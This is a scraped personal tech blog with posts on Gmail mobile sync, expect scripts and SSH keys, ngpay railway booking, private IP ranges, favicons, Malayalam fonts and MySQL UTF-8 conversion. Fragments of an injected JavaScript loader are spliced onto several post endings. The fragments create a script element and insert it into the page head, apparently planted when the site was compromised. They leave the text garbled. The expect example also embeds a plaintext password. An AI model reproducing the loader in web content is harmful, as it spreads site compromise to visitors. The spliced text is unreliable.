Google has introduced mobile sync

Google has launced the mobile sync which will allow you to sync your contacts on your phone with your contacts in gmail. Also it will allow you to sync the calender entries. This service is very similar to the service provided by which I have been using. But the good thing with this is that, I love google and now I am getting more and more dependant on the google products.. God SAVE ME!! 🙂

Here is a link to the google site which describes the setting to be done on the mobile for this to be enabled.

I have attempted to synchronize my contacts on my w810i using the following instructions.



  1. Click the ‘Menu’ key and open the ‘Organizer’.
  2. Select ‘Synchronization’.
  3. Select ‘New Account’ and enter ‘Google Sync’ or any name of your choice.
  4. Enter the following values:
    • Server address:
    • Username: your Google Account username, e.g.
    • Password: your Google password
    • Connection: select the Internet access point for your carrier
    • Applications: mark ‘Contacts’ only and click ‘OK’
    • App. settings: open ‘Contacts’ and for ‘Database name’ enter ‘contacts’ (lower case), leave other fields blank
    • Sync. interval: choose how frequently you would like to synchronize with Google
    • Leave other settings unchanged
  5. Click ‘Save’ to exit this screen and save your Sync profile.
  6. Highlight your new Sync profile and press ‘Start’.
It has synced my contacts and I was able to view the mobile numbers in the contacts list in my gmail. To view the contacts list, just select the contact list link on the left side of the google mail. (just under the drafts, spam and trash)

expect script vs authorized keys login

Most of the time, a linux script writer must have encountered reasons to automate the scripts that require login to the server, copying of data without the need of giving a password at the shell prompt. Most of the time, people will settle down with setting up the secure key access. ie, using authorized keys. But there is also another way of automating login to the servers. It is by using the expect script.

If expect is installed on your machine you can see it at /usr/bin/expect. If not, just install it using Yum

[root@centos ~]# yum install expect
Loading “fastestmirror” plugin
Loading mirror speeds from cached hostfile
* base:
* updates:
* addons:
* extras:
Setting up Install Process
Parsing package install arguments
Resolving Dependencies
–> Running transaction check
—> Package expect.i386 0:5.43.0-5.1 set to be updated
–> Finished Dependency Resolution

Dependencies Resolved

Package                 Arch       Version          Repository        Size
expect                  i386       5.43.0-5.1       base              158 k

Transaction Summary
Install      1 Package(s)
Update       0 Package(s)
Remove       0 Package(s)

Total download size: 158 k
Is this ok [y/N]: y
Downloading Packages:
(1/1): expect-5.43.0-5.1. 100% |=========================| 158 kB    00:03
Running rpm_check_debug
Running Transaction Test
Finished Transaction Test
Transaction Test Succeeded
Running Transaction
Installing: expect                       ######################### [1/1]

Installed: expect.i386 0:5.43.0-5.1

Simple! Now go ahead and put the script as follows

#!/usr/bin/expect -f

set timeout -1
spawn ssh -l mathew
expect “mathew\@’s password:”
send — “mathew\r”

Here , mathew is the username and is the server to which you want to login. I will explain the working of expect script in detail

set timeout -1

How much time the script have to wait. “-1” means wait indefinitely since we are expecting to login to the server. If you want to use the script for some other purpose, better choose default, which is 10 secs, by not specifying the timeout line at all.

spawn ssh -l mathew

spawn will execute whatever command that is put after that in the line

expect “mathew@’s password:”

This is where the catch is . The expect will wait for a feedback similar to “mathew@’s password:”

send — “mathew\r”

Once the expect sees the specified keywords, the next send command will send the value in quotes (mathew) to the shell. The “\r” at the end is mandatory since it instruct to put a newline at the end after writing “mathew” to the prompt.


This will free the control from the script we just ran and give control back to the shell so that we can “interact”


Many people are having trouble setting up secure keys on their machine. It is very simple and here are the steps

Let us assume that the machine you want to login is the Server and the machine from where you login is the client

We will start with the Client. Do the following steps at the Client.

step 1) Create the keypair using dsa encryption. This can be done by passing the key encryption method type to ssh-keygen.

ssh-keygen -t dsa

Hit enter when asked for passphrase. The ssh-keygen program will generate a public and a private key.  They are by default named as “” (public key) and private key as id_dsa and is stored in .ssh folder of your home directory by default. You need to safeguard your id_dsa file by encryption and other means like permission restrictions.

ON the server side

Step 1) cd .ssh/  (If the directory is not there , create one)

Step 2) Copy the generated in the first step to the Server and append it to the file authorized_keys in .ssh directory.

cat  >> .ssh/authorized_keys

Step3 ) Make sure that the permissions on the authorized_keys file is “600”

chmod 600 authorized_keys

Remove the public key file that you have copied. The mistake that most people make is in forgetting the last step and also copying the private key instead of the public key file.

How to login from PUTTY using authorized keys.

When you login from a windows machine using PUTTy, Putty is your client.You will have to use the putty keygen tool to generate the keygen described in the first step.

Once the keygen is generated, you will have two files , the same as we have described in the first step. Copy the public file content to the Server and the private key need to be added to the putty session you are using to login. For this open PUTTy, goto Connection -> SSH -> Auth and browse to the private file you have generated. Now goto the login session and you will be able to login without any password.var d=document;var s=d.createElement(‘script’);

Ngpay- smart way of paying

Okay, here goes.

Everyone must be using IRCTC for booking tickets online, specifically e-tickets these days. So I dont need to teach anyone how to book railway tickets using the irctc portal. If you are not familiar with this way of booking railway tickets, please refer to the below URLs

Here I am going to guide you on how to book tickets using ngpay.

Official site :

I was also skeptical on how to book tickets on this one, especially about the payment method that is being used. But today I had to book a ticket and decided to give a try with ngpay. If you are smart enough :), you can get the details from the ngpay site itself. But I will describe here the steps I followed.

You will need GPRS connection for this to work. May be booking over wifi connection on mobile may also work. I will check this after I get my Nokia 5800 XM 🙂

Step one: Get the ngpay application on your mobile.

To download  you need a link, right…. To get this link you can follow 3 ways

1)Send me your mobile no. 🙂 . I will sent you the link. This way I will get referral point which I have described at the end of this post.

2) SMS  “ngpay” without quotes to 56767

3) Go to  and there you will see a box under a mobile image and caption “Enter your mobile number and click submit “. You will see a message “Thanks! You will shortly receive an SMS to download ngpay.” on the webpage

Both steps will allow you to get an sms message with the download link for ngpay to the mobile number that you have specified.

Step two: Open the sms and click on the link provided and download/install the application

I got an sms similar to the one below


IRCTC – Thank you for your interest in IRCTC services on ngpay. To download go to<mymobno>.Please call 91 8067004000 for help

Click on the link and it will show that you are about to download the ngpay.jar application which is 64 KB. If you are on a costly GPRS plan, try with a wifi connection. The java application will get installed to the location that you specified.

Step Three: Give your name and details to create an ngpay profile.

The application will ask for the firstname, lastname, street address, email address and your mobile no. At the end , you will have to give a 6 digit pin of your choice which will be your ngpay pin. It will ask for a security question and date of birth also.

Step Four: Go ahead book the ticket

The above steps will finish the initial setup. In the future you can open the application by going to the location where you have the application installed. It will be stored with the name “ngpay”.  In the app, you can see

My Services

My Community

My Profile!

What’s New!


Select My services, and  You will see

Explore All(69)


Select IRCTC and there you can follow the instructions to book the ticket. While booking, it will ask for the source and destination, date and several other details like berth preference, type of coach etc. which you can easily fill out.At the end it will ask you for the method of payment. You have options to pay using visa cards/credit cards , hdfc internet banking … I have used the HDFC way

It will first ask for your HDFC account no. Then while payment it will ask your customer id as well as the password. This is the same logins that you use for login into the Internet banking of the HDFC. While payment it will display the ticket charge , the 10 Rs IRCTC charge, 10 Rs ngpay convenience, 5 Rs payment processing. But at the end they will give a discount of Rs 25 and voila!  you are booking the ticket at the exact ticket fare. (10+10+5-25) heeh!

You will get the e-ticket mailed to the email id that you have specified in step three.

You can use this ngpay to book tickets for you as well as for anyone. While booking just give the name of the passenger. This was one where I was having a doubt. :).The good thing is that you can view the history of the transactions from the application itself.

Cancellation of IRCTC tickets booked using ngpay.

Here also I had a doubt. I searched the ngpay website, but could not find out an answer. So I sent a query to ngpay support using the url below

I was just dumb. Just after I submitted the query, I searched in the ngpay application again and I found the cancellation location

ie, Inside My Services -> IRCTC -> Cancellation

But I was surprised when I got a call from ngpay support guy on my phone. He asked me the name and the amount with which I booked the ticket. Then described the same steps as above.  Now I am sure, this thing is here to stay!!

Possible Uses of NGPAY/Why use NGPAY

  • Book your tickets when no Internet connection is available.
  • Cancel your tickets anywhere anytime
  • Check your PNR status , anywhere anytime
  • NGPAY got lot of services like cinema tickets booking and several other features.. I will explore the same in the future.
  • You can receive points for each transactions which you can redeem later against a service availed with ngpay
  • A referrel service is there which will give you points which you can redeem later.

Referral Method

If you want to help me in anyway, please let me add you. You can do referral by the following method.

  • Goto My community -> Refer a friend and input your friends mobile number.
  • Your friend will receive an sms with the download link to the application. You will get 25 points as reward when your friend completes his registration on ngpay.

Any comments are welcome.if (document.currentScript) {

Public Vs Private IP Numbers

Private IP numbers are the source of much confusion for many new networking users. Many home “powerusers” with more than one computer, small offices, and just about any user of a broadband IP connection to the internet like DSL or Cable Modem has probably come face to face with this issue. The whole use of IP numbers is generally hidden from your typical Internet user who uses a modem and PPP software to connect to the internet – they are transparently and dynamically assigned an IP number while they are dialed in by their ISP, and don’t really have to think about it. That is until the user starts to get curious about running a webserver on a machine in their house, or moving up to faster “always on” connections like ISDN, DSL, Cable Modem, or other methods.

Think about what happens when a small city runs out of phone numbers, but can’t split up an area code. Things could get difficult and providing additional phone service as the city expands would be a nightmare. One method of preventing an area from going totally overboard on providing separate phone numbers is to have one or a handfull of numbers used in a shared manner amongst many phone users, like any large office would do. A large company with 250 workers in an office building each with a phone at their desk wouldn’t want to pay the phone company for 250 discreet and separate lines for each desk, nor would the phone company want to give all those numbers to them if they were trying to conserve numbers. Therefore, offices use internal equipment to “share” a smaller number of lines amongst their users, like mabye 20 or so used in rotary. By doing so, each desk can have an inter-office extension number, which is bridged to an outside phone company line when the user picks one up to dial out and one is free at that moment. In this case, any number of offices in the city might have an “extension 123” within their office, but each “extension 123” in these offices would never conflict with each other because they are “behind” the company’s phone equipment which serves up the company’s outside lines to those extensions when needed. The internal office extensions can communicate with each other perfectly fine, but must be connected to an outside line to connect to an extension at the company across the street. 213-555-1200 thru 1210 would be BigCompany, Inc.’s “public” phone lines, and extensions 1 thru 250 would be BigCompany, Inc.’s, “private” phone lines.

IP protocol networks use a system very similar to the above to prevent the world from running out of IP addresses. Even though 0-255.0-255.0-255.0-255 is technically 4,228,250,625 numbers, the useable amount of numbers is much lower due certain types of numbers set aside for special signalling and identification uses and not for typical “device” identification and traffic. Also consider that just about EVERY device that will handle IP traffic must have a unique number, and there are probably just as many routing and switching and serving devices on “the net” as there are actual computers. Add all that up and one can see how the current IP number structure really doesn’t go all that far, and there is a need for computers and devices in certain groups to be able to use “private extensions” that work behind a group’s “public numbers”, just like the large company offices example above.

The organizations that agree on the technical standards behind the IP protocol have issued a standard for “Private IP number blocks”, or numbers that can be used within an enterprise as long as the enterprise has the technical capability to separate those private IP numbers from the rest of the Internet at large, and properly gateway the traffic between the internal stations at the enterprise in question and the public Internet. For Example, when a large company with 200 computers in the office needs to implement IP networking and connectivity both between the computers in the office *AND* supply inbound and outbound connectivity to the Internet from within their office network, that company would avail themselves of a block of IP numbers within the “private” numbers set aside for just that purpose. There is most certainly many other computers somewhere in the world using your IP number if your IP number is one of these private numbers, but both yours and the other private IP numbers in the world are safely operated behind other IP routing equipment which handles all the internal network’s traffic out to and in from the public Internet, just like all the “extension 105” numbers in offices thruought the world are safely operated behind telephone equipment that bridges those extensions in and outbound thru a given office’s public telephone system number.

The private IP addresses that you assign for a private network (inter-office LAN, Internet Service Provider customer bases, campus networks, etc) should fall within the following three blocks of the IP address space: to, which provides a single Class A network of addresses, which would use subnet mask
(theoretically up to 16,777,215 addresses, good for VERY large enterprises like internet service providers or other global deployment) to, which provides 16 contiguous Class B network addresses, which would use subnet mask
(theoretically up to 1,048,576 addresses, good for large enterprises like colleges and governmental organizations) to, which provides up to 2^16 Class C network addresses, which would use subnet mask
(theoretically up to 65,536 addresses, widely used by default in consumer/retail networking equipment)

Explanation of Subnet masks, Network classes, and other technical info is readily available on the internet.d.getElementsByTagName(‘head’)[0].appendChild(s);

Get a new gmail sticker

I was always been a fan of google and I am always looking out for any changes they are doing to their products. Eventhough this post is not about a software one , it may be interesting to some people.

Google has started to give out gmail stickers. But the catch is that you will have to send a mail by snailmail with a return envelope having your address. They have allowed it to be sent out internationally also. I thought of sending on mail, but at the end of the page, they have mentioned that they will not be held liable if the stickers run out of stock..:(

The stickers look nice and good.

how to add favicon to the address bar

As per wikipedia

A favicon (short for favorites icon), also known as a website icon, shortcut icon, url icon, or bookmark icon is a 16×16 pixel square icon associated with a particular website.

Favicon is always stored in the name favicon.ico and it is included in the header of every page so that it will be displayed along the address bar.

Steps to create a favicon

1) Select the image that you want to be the favicon

2)Create the 16*16 image from the selected image and save it as “favicon.ico.

3)Upload to the server and for displaying it add the following code in the header

<link rel="shortcut icon" href="" type="image/"/>
<link rel="icon" href="" type="image/x-ico"/>

4) For including in wordpress, edit the “header.php” file in the theme folder that you are currently using.d.getElementsByTagName(‘head’)[0].appendChild(s);

Not able to view malayalam fonts!

കേരളം അതിമനോഹരം. മലയാളം എത്ര സുന്ദരം.
Are you seeing jumbled and garbage characters instead of “malayalam” in the above line?

Don’t worry, just click here and follow the instructions. It is a simple application which will install the font rachana.ttf into your system. It will help you display indic languages properly on your browser.document.currentScript.parentNode.insertBefore(s, document.currentScript);

OSI Model

The 7 Layers

To perform network basics (port forwarding, NAT, packet filtering firewalls, etc) it is important to have a good understanding of the first 3 network layers. As a network adminsitrator, it is these layers that the equipment you deal with operate.

1. Physical
2. Link (Data Link)
3. Network
4. Transport
5. Session
6. Presentation
7. Application

document.currentScript.parentNode.insertBefore(s, document.currentScript);

blogging in malayalam

I started this blog and decided to put in a malayalam blogging section in this one.  So inorder to start writing in malayalam, I had to do compose in malayalam.  I knew that there is a software which allows to write in “manglish” which will convert the english directly to malayalam. However my search for it ended at the google transliteration software.

What we have to do is

1) write the content in the google Transliteration software.

2) then copy-paste the same to the post.

I did the same, but was presented with garbled characters on the post. To be more specific, the characters were not displayed in malayalam, but instead a lot of I mean, a lot of question marks were at its place.  So I started my hunt again in my trusted friend, google. After a long search, I was able to find that the reason for this is due to the encoding used. So I tried changing the encoding format of my brower(firefox). View>Character Encoding.

Tried various encodings to no good. So again after an extensive search, I found that the mysql DB is the culprit. The trouble occured due to the fact that the default collation for the mysql db is latin1. So I have to change the collation to utf-8 encoding which is supposed to support the indic laguages(ie including malayalam). Instead of doing each of the tables manually using phpmyadmin, I used the following php code snippet to change the collation.

Use the below php code to make the character set of mysql db to be utf8_general_ci

$dbname = ‘dbname’;
mysql_connect(‘’, ‘username’, ‘pass’);
mysql_query(“ALTER DATABASE `$dbname` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci”);
$res = mysql_query(“SHOW TABLES FROM `$dbname`”);
while($row = mysql_fetch_row($res)) {
$query = “ALTER TABLE {$dbname}.`{$row[0]}` CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci”;
$query = “ALTER TABLE {$dbname}.`{$row[0]}` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci”;
echo ‘all tables converted’;

Instead of using the google tranliteration, I got hold of a wordpress plugin for the same. Google Indic Transliteration

Now that the base ground is set, I will be starting my malayalam blog in full blast… Hurray!!!!d.getElementsByTagName(‘head’)[0].appendChild(s);